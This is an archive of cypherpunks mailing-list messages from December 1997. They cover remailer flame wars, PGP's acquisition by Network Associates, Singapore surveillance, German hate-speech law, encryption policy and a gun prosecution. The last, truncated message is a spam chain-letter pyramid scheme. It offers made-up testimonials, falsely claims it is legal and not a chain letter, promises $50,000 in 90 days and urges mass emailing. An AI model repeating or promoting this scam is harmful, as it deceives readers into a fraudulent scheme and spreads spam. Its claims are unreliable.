"Jewish asshole", or "anon > :asshole", it only demonstrates your personal prejudice and bigotry. Your > :arguments are so weak that you must resort to ad hominem argumentation to > :divert attention from the facts. > : > :Repeating your unproven accusations over and over does not make them true. > > One could say that about you. An asshole posting only anonymously is the > anonymous asshole. ^^^^^^^^^^^^^^^^^^^^^^^^ "Posting ONLY anonymously"? Wherever did you get that idea? If you really believe that this "anonymous asshole" is "posting only anonymously", then your previous accusations that someone else on this NG (who posts NON-anonymously) was this person were a LIE, weren't they? So which of your two contradictory statements is the lie? Or are they BOTH lies? They can't both be true. > Note that I have never and will never say that people who > post anonymously are assholes. You just did. When you have to single out alleged "assholes" as being black, gay, Jewish, anonymous, Italian, or whatever, you reveal your own prejudices against that group. For example, you never hear a white person say, "That white bastard just cut me off" while driving, do you? Such language is usually reserved for groups you HATE. For all your recent backpedalling and sucking up, your stance on privacy, anonymity, remailers, etc. remains quite clear. > :Are you claiming that all the DataBasix personnel no longer have access to > :the Internet simply because the databasix.com domain is down? Considering how > :lax Netcom is with their servers, any abuse you might allege could easily have > :come from someone with a Netcom account. > > Yawn. It could have as easily come from you. "Could have" equals "proof" in DataBasix-speak? (You did just move to the part of the country where burning alleged "witches" was once a popular pasttime, didn't you?) Remember that you're the person CLAIMING that this alleged abuse even occurred, so the burden of proof is on you. > :You might as well reconnect databasix.com to the net because having it down > :is not a credible alibi -- not when most of the players involved have > :Netcom accounts, and a few even have shell accounts from which they could > :have run Perl scripts. > > I don't require an alabi because I've done nothing to require one. If everyone bought into that attempt at "logic" (assuming your conclusion as part of your argument), we'd have no need for jails, would we? It could become the universal response to "where were you on the night of XX/XX/XX?" > You on the other hand apparently feel you need to hide. Bovine excrement. Concealing one's name and e-mail address is no different conceptually from concealing one's home address or phone number. So if you truly have nothing to hide, please feel free to post that information, or else shut up about having nothing to hide. If you have nothing to hide, why are you so afraid of people reading your posts via from DejaNews that you cloak each one with that No-Archive header? I remember when you once criticized a fellow poster for "hiding behind" it, and now you're doing the same thing you criticized him for! > It's obvious to me and to many that you want to cause damage to the remailers. "Obvious to me" does not constitute proof. I posted Jeff's account of YOUR anti-remailer activities. He mentioned you and Belinda Bryan BY NAME. When you have similar evidence against someone else, naming names, please post it. You have yet to demonstrate that this mythical monster you're expecting others to believe exists is anything other than your own self-serving creation. It reminds me of what one philosopher said about the devil -- "if he didn't exist, we'd have to create one". > :Not as long as you want to keep it alive by claiming that you are a "victim" > :of some grand forgery, "UCE-baiting", "cyber stalking" scheme. Sam is right > :in doubting your claims that most of the things you allege happened to you > :even occurred. He pointed out that the one flimsy piece of evidence you've > :been able to produce more recently than February of 1997 originated from YOUR > :OWN DOMAIN! > > > You mean not as long as you keep posting lies. Huh? The "evidence" was posted by YOU and the analysis came from Sam. I wasn't even in that loop. Nice try. -- From hallam at ai.mit.edu Sat Dec 6 09:52:50 1997 From: hallam at ai.mit.edu (Phillip M. Hallam-Baker) Date: Sun, 7 Dec 1997 01:52:50 +0800 Subject: Singapore Message-ID: <01bd026d$85c8c4a0$06060606@russell> > Hallam-Baker obviously thinks that he can thwart my insightful, >barbed diatribes against him by posting empty messages to the >CypherPunks list, No, I was merely speechless. If you think that Singapore is a Libertarian paradise then you are not a Libertarian. I don't doubt that Duncan is capable of being an appologist for the Signapore regime just as there were a lot of 'Communists' who used to fawn over Stalin. The fact is that Singapore taps every telephone call, monitors every public place and performs traffic analysis to identify dissident communities. The fear of being identified in such a community is a major means of suppressing dissent. Duncan and Declan are merely indulging in a very popular passtime of idealogues, fawning over benevolent dictatorships. Phill From cvhd at indyweb.net Sat Dec 6 10:07:41 1997 From: cvhd at indyweb.net (cvhd at indyweb.net) Date: Sun, 7 Dec 1997 02:07:41 +0800 Subject: SynData/Schneier Attack Network Associates In-Reply-To: <1.5.4.32.19971205164216.006f950c@pop.pipeline.com> Message-ID: <3.0.5.32.19971206080245.0085b100@indyweb.net> At 11:42 AM 12/5/97 -0500, John Young wrote: > Right to Privacy for Sale in Cyberspace; SynData Technologies Inc. > Speaks Out Against Key Recovery > > Cedar Grove, N.J. -- SynData Technologies Inc., a provider of encryption > software solutions, released a statement today condemning Network > Associates Inc. for supporting the government's key recovery program. > Network Associates recently purchased Pretty Good Privacy (PGP). > PGP had historically been opposed to key recovery. > > "It is time to seriously consider the threat that Network Associates poses > to the individual's constitutional right to privacy," said David Romanoff, CEO > of SynData Technologies Inc. "While Network Associates claims to protect > privacy in cyberspace, they have actually traded our right to privacy for a > shot at increased revenues overseas by supporting the key recovery program. > The slippery slope has begun right under our noses. It's time to challenge > both the government and companies who support the government's key > recovery program before it is too late." > > "The government's key recovery program is a complete violation of the > individual's right to privacy and, in fact, compromises of the system are > already taking place. This shows that key escrow is an untenable policy," > said Bruce Schneier, one of the world's leading authorities on encryption > and author of the book "Applied Cryptography". "SynData is paving the > way for other software developers by taking a stand in opposition to the > government and companies like Network Associates." - - - Begin Signed Opinion - - - Everyone should keep in mind that John McAfee very well knows on which side of his bread it is buttered-- McAfee has made his fortune on the site-licenses for government use of his anti-virus product. U.S. Customs alone liceneses 17,000+ copies. Is anyone kidding themselves about which side of GAK and Key Escrow McAfee will come down on? I have never bought into any of the conspiranauts BS about PGP backdoors as long as PZ was involved with it but I will certainly assume it is to be a "given" with PGP in the hands of McAfee. - - - End Signed Opinion - - - Signed - - - CVHD - - - From zahn at berlin.snafu.de Sat Dec 6 10:35:27 1997 From: zahn at berlin.snafu.de (Steffen Zahn) Date: Sun, 7 Dec 1997 02:35:27 +0800 Subject: Signature checker for Cantsin Protocol No. 2 In-Reply-To: <199712030038.BAA29410@basement.replay.com> Message-ID: <199712061827.TAA03807@n242-197.berlin.snafu.de> Hello, I have put together a package to check Cantsin 2 Signatures. Prerequisites are: perl Version 5 libgmp Version 2.* a C compiler precompiled binaries are provided for Linux-ELF (libc-5.*), if you have that you don't need libgmp. Pick it up from http://www.snafu.de/~zahn/cantsin.tar.gz (22KByte) Regards Steffen -- home email: user at domain where domain=berlin.snafu.de, user=zahn Use of my address for unsolicited commercial advertising is forbidden. "Where do you want to crash today?" From tcmay at got.net Sat Dec 6 11:21:28 1997 From: tcmay at got.net (Tim May) Date: Sun, 7 Dec 1997 03:21:28 +0800 Subject: Problems with PGP Finland site? Message-ID: Someone in alt.security.pgp reported that the Finland PGP site seems to be denying access. I tried http://zone.pspt.fi/pgp/ and got a "Forbidden" message. Could just be a temporary glitch. Or a switch to a different URL. Anyone know? But the paranoid part of me wonders if the hammer is finally coming down on these offshore "pirate sites." (Not piracy in any SPA sense, as PGP, Inc. is clearly complicit in publishing the PGP source code books and encouraging Cypherpunks to pick up stacks of them at Bay Area meetings for FedEx delivery to offhsore sites.....but the OECD/Wasenaar Cabal clearly views this sort of thing negatively. Perhaps Crypto Czar Aaron applied his rod to the cops in Helsinki and the site went"stale." :-{) --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at REPLAY.COM Sat Dec 6 11:24:56 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sun, 7 Dec 1997 03:24:56 +0800 Subject: Hate speech in Germany... Message-ID: <199712061913.UAA21991@basement.replay.com> Peter Herngaard wrote: >Mr. Frissell asserts that Germany lacks rights such as freedom of >speech and association. This is not true. The German Basic Law >provides for everyone the right to freedom of speech, religion and >association. However, Germany prohibits hate speech i.e. National >Socialism and incitement to racial, religious and national hatred. I believe this is exactly what Mr. Frissell had in mind. Incidentally, I heard that last year there were a series of raids on bookstores for "hate" literature. One of the books seized was Art Spiegelman's "Maus". The justification was that it glorified violence. (Feel free to correct me if this is baseless rumor. ;-) >>Reply to Duncan Frissell: >>If the German people desired to abolish the Radikalenerlass they >>could do so simply by changing their goverment precisely as >>U.S. citizens could abolish use of capital punishment against >>minors. Is there any difference? > >There is a difference, in that calling for the abolition of laws >banning 'hate speech' can easily be labelled as 'hate speech' in >themselves. > >I think it's true for banana republics. However, as far I know >itsn't illegal in Germany to call for the abolition of all hate laws. >But calling for the abolition of human rights is certainly against >the law. !!! It sounds as if in Germany one may not discuss even the most basic political philosophy without violating the law. I'm not sure what is meant by "calling for the abolition of human rights". What would be some examples of things somebody could say and what would be the penalties? (Presuming you are allowed to give examples, that is.) >Yes. But if the majority of the voting population *really* wanted to >install a hate speech censorship regime, they could elect a House >and a Senate being able to change or amend the Bill of Rights. It >seems that criminalization of "flag desecration" to many is what hate >speech is in Europe. This is exactly correct. >In addition, we do not prohibit pornography, and obscenity is a >non-existent legal category. Another good point. Many in the U.S. have become so accustomed to these speech restrictions that it seems normal. Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Re: Hate speech in Germany... To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE 90BC91101F85741DD34904CB85F53587E2F60552 -957 957 1E2E934E6521F0AF31CED38EB60FCF9AD2E9997879F053F097F49EE39B97FA22D66D438A9409D20F479DB6DCCCCFBAA6AE95FACA8B67B91F03CE50DBB5F9AC0862C2DC9E39B2020FD099DD52E2C68D92E524037DBAB7CFE1783329BE5E0CA468674B5916EBE0F3F2C1DAB6A0CB8D48AE7586C741FE3117577A540EB663816E70C6D554AA2FBA42F85B7A486B96AFA3975FD9EC4F51344EC22B215A0284C7C9397066B71AA506A7824A233A349564FE0DCB358CF5001D2A13EAF9603C65AE4620450DD4CDB7141D7B63422714441AA67B9F871701D8F19082DE73D3B0F1B2973B4A306106FCBE72BBB2CE47D9CACCA721562FB6CEC08F5FC95DB2559E658CC2F9 4FDDF6A60F4EE3F960B4FF277E000C85196D9776BD39C87EE2A606527FE6FD16CFBE9787DB5392D2938D035CF4DB14EF86B6E7499298F37AC0C31832CDD411376B18EBA2FBA072E2983FCA5A617F5B5F209B76B2615B6942AE99CCF257D19F1EDF8FBEB52A735E2A1BD184A2F18B9EBD8054F14472FF39C65D569F9564FD0CC41F656D3D6B9BC60A65DDECD57CACD83322E56FF8EF2742647785CB6054B75215BE0C0DAE6459322C3B431CCCB39151C7FB65B9D88FC5050FD4CC455404C7586275E3057EF0C4E0D6603383E4276EE4B34F68D062CE7CCE5DCE3600F19AFC8CA9CBF233A6C02D735CD20D207DF789BAA8E3DC389FE1BDEBF2A57215BE49286945 From tcmay at got.net Sat Dec 6 11:27:28 1997 From: tcmay at got.net (Tim May) Date: Sun, 7 Dec 1997 03:27:28 +0800 Subject: Problems with PGP Finland site? Message-ID: Never mind. Sorry. It looks like http://www.pgpi.com/ is still open for business, so paranoia is unwarranted. Though I wonder for how long Network Associates will continue to publish source code books and encourage their wide distribution around the world? Or how long source code will be available at all. Or how long the freeware version will be available. --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From jya at pipeline.com Sat Dec 6 11:33:05 1997 From: jya at pipeline.com (John Young) Date: Sun, 7 Dec 1997 03:33:05 +0800 Subject: SynData/Schneier Attack Network Associates Message-ID: <1.5.4.32.19971206192208.00706884@pop.pipeline.com> cvhd at indyweb.net wrote: >I have never bought into any of the conspiranauts BS about >PGP backdoors as long as PZ was involved with it but I will >certainly assume it is to be a "given" with PGP in the hands >of McAfee. Has Phil Zimmermann responded to the months long criticism of PGP 5.0 for Business and PGP's acquisition by Network Associates? If not, what seems to be the most reasonable explanation for Phil not answering, to allay suspicions and sustain PGP's worldwide reputation? The explanations by others working with PGP, Inc. would surely be more credible if Phil expressed public support for their views. I still find it hard to accept that Phil would squander his personal reputation, and thereby the reputation of his invention, by refusing to provide a public accounting of what's happening with PGP Inc. And, no matter the legal and financial restrictions that might be contraining him. And no matter that PGP's competitors are probably encouraging some of the attacks. Security by obscurity, by indifference to public doubts, seems to be a surefire way to undermine Phil's years long struggle to distinguish himself from those less courageous than him who are pushing products less reliable than PGP has been believed to be until now. It's a haunting thought to consider that Phil may have been shown evidence by others that PGP is not as reliable as many have long believed, evidence that perhaps demonstrates what he knew all along. This is harsh suspicion and one that needs his response, if for no other reason to allay the fear that even prior versions of PGP are now suspect. PGP and Phil's personal reputation are at stake, not PGP, Inc., which is secondary. There are lots of folks whose freedom, if not lives, may be at risk due to his silence. Perhaps it's time for Phil to reaffirm that difficult choice between success and conviction, between making a killing and betraying others to do so. To remind those who think you can have both ways and get away with it is a cowardly fantasy too often hidden behind self-serving ethics. If Phil personally (not the PGP officer, not the distinguished scientist bullshit role, not the PGP employees) refuses to stand behind PGP as it has been known and trusted, then PGP and Phil should be denounced forever as a grand deception and treachery, even worse than the other crypto products eagerly shaped -- and openly proud of it -- to fit the specs of the paymaster snoops Phil himself once bravely challenged. I think Phil will come through now, as he has in the past, to distinguish himself and PGP (not Inc.) from the craven pack. If he doesn't, it's smart to give up using PGP in all its guises past and future. From nobody at REPLAY.COM Sat Dec 6 11:38:41 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sun, 7 Dec 1997 03:38:41 +0800 Subject: words have value, for good or ill Message-ID: <199712061933.UAA24057@basement.replay.com> A ghost speaking through the medium of replay.com communicated: >Consider: anyone might legitimately say they could understand why the >government opposes access to cryptography. It represents a threat to >their monopoly power. But if someone said they were becoming >convinced that restrictions on access to crypto were a good thing, >we'd be attacking them in an instant. These are two completely >different issues. One is a matter of understanding evil motivations, >which we can all benefit by. The other is a matter of advocacy of >evil. That must be opposed, and in fact this list has been a strong >force for such opposition. I see the list as a place to discuss ideas rather than as a propaganda vehicle or a political party. >The problem this raises is that it is difficult to know where May >stands on any issue. He makes contradictory statements, refuses to >reconcile them, even refuses to admit that they are contradictory. >Which is his true view? No doubt, whichever one turns out to be most >convenient in the end. Next you'll be telling us we should not obediently follow his every command! Whose side are you on? >What a weak and childish individual this is, this man who is said to >be the most respected of the cypherpunks. You might be happier if you did not associate with a group of weak and childish individuals. I have no doubt that Tim May contradicts himself from time to time. And, when he changes his mind he does not announce it to the list and carefully credit each person who influenced his views. Sometimes he is insensitive or even rude ("chop chop"). I've never seen him apologize, either. Probably he doesn't have the circuits to do it. But, so what? He's still the most interesting contributor to the list. I can well understand why you don't put him in your killfile. Perhaps instead of name calling, you should actually address a point or two and discuss it. If you think McVeigh did the wrong thing, it would be interesting to hear why. And it would interesting to hear why you believe that a McVeigh killing innocents is wrong, but a U.S. Air Force doing the same thing is right. Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Re: words have value, for good or ill To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE E357DEA252BDBA2A18C7F1F54A5DE88ED8E69AE2 -937 937 A49A93E49F670414920B105C609CAD2D1479771114A15CD2C19E265BBD32FA1C467B83E7D7538511A5C1C2B013779BB67AF5AAB78A0D7447FFECD7B93890341E25BB4D240977D6E43A80262160134AE8ADC768FD4F40E83AFBDABD09C957F9E9C1DCB5296F94F28F948DBD55DDDE10BA580F7F38D1ED1C46D70A459B32EFFB1C1FC4454E55EB885694B5E2087360BECB675885078ECA2D4E2342E095AD38B50A315FA028573B08086913AFFD0DC39FB5EA2C1417A2A7B7BB4A1B41A49169049A4B048D22138168B3C08A22420D1985C6AAAA1B39A9FFD08CA10D0E742542CC753947A924C8B1B79EF3630060017D9B648F07A8D99F58A2E91F1E09C70AC55BDD 282608319DF35965F05D616BCC383D089D071A9EC044B131E23E7262DCF9E3A5CDAFFE1622A075189FDAB9FC2F81F29A08999F5B8440BE211906BD1DAD99B9BB2D09441049A83EC3286BAF054387832383E3F5BBC2EC67C06695F7662CCDB9BD211640A2E7FA7561D237D4FD7C94D8513C3F17B657646E9FFE2F756DBB6AA70D0F817C8277CC427964910A951E37FA86B488F79E1188F21892604A94B9E8F7EE8B70DD372D1726074EE95B05014A98E0A450A9E44C407BA24470F026C04392531391CE92C14AC48674F49B4500F5423F8D7180BADCCBA83BC05937228E250642B22BEB508A98E6BAA05F95AEBA5EA1D4BF40A5997E32FEAB4F53EFACB0300D9 From rah at shipwright.com Sat Dec 6 11:40:44 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sun, 7 Dec 1997 03:40:44 +0800 Subject: Mises and Batman Message-ID: --- begin forwarded text Date: Fri, 5 Dec 1997 12:46:31 -0800 to: misesmail at colossus.net from: news at mises.org subject: Mises and Batman Sender: owner-misesmail at colossus.net Precedence: Bulk This has to be a first in the history of the Austrian School. The new issue of THE BATMAN CHRONICLES, a quarterly, features "Berlin Batman," a story revolving around the Nazi confiscation of Ludwig von Mises's papers from his Vienna apartment in 1938. Batman attempts to rescue the papers from a German government train, and says of Mises, "I once met him, and I've read his work. He's a brave man to oppose the party in these barren times." Batman sees in Mises a comrade in arms. We won't give away the ending, but in a recap at the end of story, there are excerpts from Robin's 1998 "unpublished" "memoirs of the Batman": "Ludwig von Mises escaped to the United States when the Nazis ransacked his apartment in 1938. It was his landlady, a friend of his mother's, who told the authorities Von Mises was working on a new book which challenged Nazi social and economic policies. They slowed him down, but they couldn't stop him. He continued work on a book which was eventually published in '49, called 'Human Action', now considered one of the great libertarian works of our times." There is much more, and it is all beautifully drawn and written by Paul Pope. It is available at comic book stands everywhere. The price is $2.95. Cheers to D.C. Comics (1700 Broadway, New York, NY 10019)! --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ Ask me about FC98 in Anguilla!: From brianbr at together.net Sat Dec 6 12:08:45 1997 From: brianbr at together.net (Brian B. Riley) Date: Sun, 7 Dec 1997 04:08:45 +0800 Subject: A Medal -- Or A Prison Cell? Message-ID: <199712062000.PAA21076@mx01.together.net> ---------------- Begin Forwarded Message ---------------- Date: 12/06 1:10 AM Received: 12/06 11:39 AM From: James A Chappelow, chappja at mail.auburn.edu Reply-To: Vermont Libertarian, vtlp-list at catamount.com To: Multiple recipients of, vtlp-list at catamount.com >From the Liberator Online: A Medal -- Or A Prison Cell? Larry Gates, a 54-year-old ex-Marine, operates a convenience store in rural Iconium, Missouri. He's also a volunteer fireman. Last Christmas Eve he was listening to a licensed fire department radio when he heard a report that police were chasing two suspected murderers. Police had lost track of the suspects. From his knowledge of the area, Gates was aware that the car would pass directly in front of his store. Gates grabbed a shotgun and sidearm, and along with his three adult sons pulled two vehicles into the intersection, blocking it. Both vehicles had fire emergency lights flashing. A few seconds later the suspects' car approached the roadblock. Gates' son Carey motioned for the car to stop. Instead, the car suddenly accelerated directly at Carey. Gates fired his shotgun once at the car. The car swerved away from his sons, went around the roadblock, and continued down the road. Two of Gates' sons followed the car at a moderate pace. The car was driving erratically. Soon it slowed enough for the passenger, a woman, to leap out. Gates' sons stopped. The woman suspect was slightly wounded from Gates' shotgun. One of Gates's sons, an Emergency Medical Technician, administered first aid. The other son resumed following the car. When he came across the abandoned car, he called police. Shortly the other suspect was arrested. The two suspects, who had been abusing drugs for days, confessed to two homicides. The woman said the driver had planned to commit suicide by crashing the car. Did the Gates family get medals? No. The St. Clair, Missouri prosecutor has charged Larry Gates with "unlawful use of a weapon," a felony offense. He was released from jail on $5,000 bond. If convicted he faces up to five years' imprisonment and the permanent loss of his Second Amendment rights. Gates has turned down offers to plea bargain his charges down to a misdemeanor. He goes to trial December 10. Gun Owners of America has established a legal defense fund for Larry Gates. For info call 703-321-8585. -------------------------------------------------------------------------- The courts have found that citizens are not legally entitled to police protection, yet citizens who defend themselves and their communities are routinely prosecuted as if THEY are the criminals. We are forced to pay taxes to support a police force that is not required to defend us and is instead used to punish us for defending ourselves. I don't get it. James A Chappelow "History shows that all conquerors who have allowed the subject races to carry arms have prepared their own downfall by so doing." Adolf Hitler --------------------------------------------------- This message is from the VTLP-list (Vermont Libertarian) mailing list. To send a message to everyone on this list send email to . To unsubscribe from the list send eamil to with "unsubscribe vtlp-list" in the body of the message. To subscribe to the list send email to with "subscribe vtlp-list your name" in the body of the message. ----------------- End Forwarded Message ----------------- Brian B. Riley --> http://members.macconnect.com/~brianbr For PGP Keys "Never ask what sort of computer a guy drives. If he's a Mac user, he'll tell you. If not, why embarrass him?" - Tom Clancy From emc at wire.insync.net Sat Dec 6 12:26:49 1997 From: emc at wire.insync.net (Eric Cordian) Date: Sun, 7 Dec 1997 04:26:49 +0800 Subject: Gay Youth Site Closed Message-ID: <199712062021.OAA26304@wire.insync.net> The axe of censorship strikes again, this time against a gay-positive teen site. Moral alarmists screeched that depictions of kids embracing each other and kissing were "sexually suggestive." Can't have that, can we? The Seattle Times crows over the site's disappearance and praises efforts to prevent sex education from crossing over into "sex promotion." Woo Hoo! Alternative Kids Welcome to the Alternative Kids Web Page! This page is filled with links and information for kids who are searching out their sexual orientation. Do you feel that you might be bisexual, gay, or lesbian? This is the place for you. Sounds like a mirroring opportunity. :) -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From emc at wire.insync.net Sat Dec 6 13:21:09 1997 From: emc at wire.insync.net (Eric Cordian) Date: Sun, 7 Dec 1997 05:21:09 +0800 Subject: Encrypted Horsemen Safe for Kiddies Message-ID: <199712062114.PAA26384@wire.insync.net> Good one, Bob. ----- WASHINGTON, D.C. -- Online pornographers should be required to use encryption, said Rep. Bob Goodlatte, (R, Va.) Tuesday at the Internet Online Summit: Focus on Children conference held here. "That would certainly keep it away from children," said Goodlatte. "I'm not advocating encryption to let pornography flourish." Goodlatte, a champion of loosening encryption legislation, has sponsored legislation to allow the export of encryption products and another bill in the intellectual property arena, as well as another bill increasing liability for those found guilty of running Internet gambling operations. Goodlatte was the afternoon speaker in place of Newt Gingrich, speaker of the House, who couldn't attend. In addition, Attorney General Janet Reno postponed her appearance until Wednesday morning at 10:30. Goodlatte took the opportunity to speak of the Clinton adminstration's policy on encryption. "The Clinton administration's current encryption policies are a severe hinderance on the development of the full potential of the Internet," he said. He also said the House Judiciary Committee will begin a review of the Clinton administration's enforcement of laws on obscenity. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From ronman at hotmail.com Sun Dec 7 05:31:42 1997 From: ronman at hotmail.com (ronman at hotmail.com) Date: Sun, 7 Dec 1997 05:31:42 -0800 (PST) Subject: The FREE info you requested Message-ID: <19971207132859.AAB28884@roth> HERE is the program YOU have been waiting for! Please print this information so you will read it comfortably. --------------------------------------------------------------------- Read through this program twice, then do the math! --------------------------------------------------------------------- Dear Friend, My name is Christopher Erickson. Two years ago, the corporation I worked at for the past twelve years down-sized and my position was eliminated. After unproductive job interviews, I decided to open my own business. Over the past year, I incurred many unforeseen financial problems. I owed my family, friends, and creditors over $35,000. The economy was taking a toll on my business and I just couldn't seem to make ends meet. I had to refinance and borrow against my home to support my family and struggling business. I truly believe it was wrong for me to be in debt like this. AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER.... FINANCIALLY!!! In mid-December, I received this program via email. Six months prior to receiving this program I had been sending away for information on various business opportunities. All of the programs I received, in my opinion, were not cost effective. They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they worked or not. One claimed I'd make a million dollars in one year...it didn't tell me I'd have to write a book to make it. But like I was saying, in December of '92 I received this program. I didn't send for it, or ask for it, they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. Here was a MONEY- MAKING PHENOMENON. I could invest as much as I wanted to start, without putting me further in debt. After I got a pencil and paper and figuredit out, I would at least get my money back. After determining that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT". Initially I sent out 10,000 emails. It only cost me about $15.00 for my time on-line. The great thing about email is that I didn't need any money for printing to send out the program, only the cost to fulfil my orders. I am telling you like it is, I hope it doesn't turn you off, but I promised myself that I would not "cheat" anyone, no matter how much money it cost me! In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1. When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!" My first step in making $50,000 in 20 to 90 days was done. By January 30th, I had received 196 orders for REPORT #2. If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS. IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL." Well, I had 196 orders for REPORT #2, 96 more than I needed. So I sat back and relaxed. By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day. I paid off ALL my debts and bought a much needed new car. Please take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER! Remember, it won't work if you don't try it. This program does work, but you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. It doesn't work, you'll lose out on a lot of money!!!!!! (REPORT #2 explains this.) Always follow the guarantee, 15 to 20 orders for REPORT #1, and 100 or more orders for REPORT #2 and you will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS !!! If you choose not to participate in this program, I'm sorry. It really is a great opportunity with little cost or risk to you. If you choose to participate, follow the program and you will be on your way to financial security. If you are a fellow business owner and you are in financial trouble like I was, or you want to start your own business, consider this a sign. I DID! Sincerely, Christopher Erickson PS Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME! "THREW IT AWAY" "I had received this program before. I threw it away, but later wondered if I shouldn't have given it a try. Of course, I had no idea who to contact to get a copy, so I had to wait until I was emailed another copy of the program. Eleven months passed, then it came. I DIDN'T throw this one away. I made $41,000 on the first try." Dawn W., Evansville, IN "NO FREE LUNCH" "My late father always told me, 'remember, Alan, there is no free lunch in life. You get out of life what you put into it.' Through trial and error and a somewhat slow frustrating start, I finally figured it out. The program works very well, I just had to find the right target group of people to email it to. So far this year, I have made over $63,000 using this program. I know my dad would have been very proud of me." Alan B., Philadelphia, PA A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur. Let me tell you a little about myself. I had a profitable business for ten years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out. It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate... because many of you know from first hand experience. There were more failures and bankruptcies than ever before. The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER." The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that. You have just received information that can give you financial freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT." You can make more money in the next few months than you have ever imagined. I should also point out that I will not see a penny of your money, nor anyone else who has provided a testimonial for this program. I have already made over FOUR MILLION DOLLARS! I have retired from the program after sending out over 16,000 programs. Now I have several offices which market this and several other programs here in the US and overseas. By the Spring, we wish to market the 'Internet' by a partnership with AMERICA ON LINE. Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way.It works exceedingly well as it is now. Remember to e-mail a copy of this exciting program to everyone that you can think of. One of the people you send this to may send out 50,000...and your name will be on every one of them!. Remember though, the more you send out, the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent, IT IS UP TO YOU NOW! "THINK ABOUT IT" Before you decide against this program, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money! Definitely get back what you invested. Any doubts you have will vanish when your first orders come in. IT WORKS! Paul Johnson, Raleigh, NC HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$ Let's say that you decide to start small, just to see how it goes, and we 'll assume you and all those involved send out 2,000 programs each. Let's also assume that the mailing receives a .5% response. Using a good list the response could be much better. Also many people will send out hundred s of thousands of programs instead of 2,000. But continuing with this example, you send out only 2,000 programs. With a 5% response, that is only 10 orders for REPORT #1. Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those .5%, 100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000. The .5% response to that is 1,000 orders for REPORT #3. Those 1,000 send out 2,000 programs each for a 2,000,000 total. The .5% response to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. CASH!!!! Your total income in this example is $50 + $500 + $5000 + $50,000 for a total of $55,550!!!! REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000. Believe 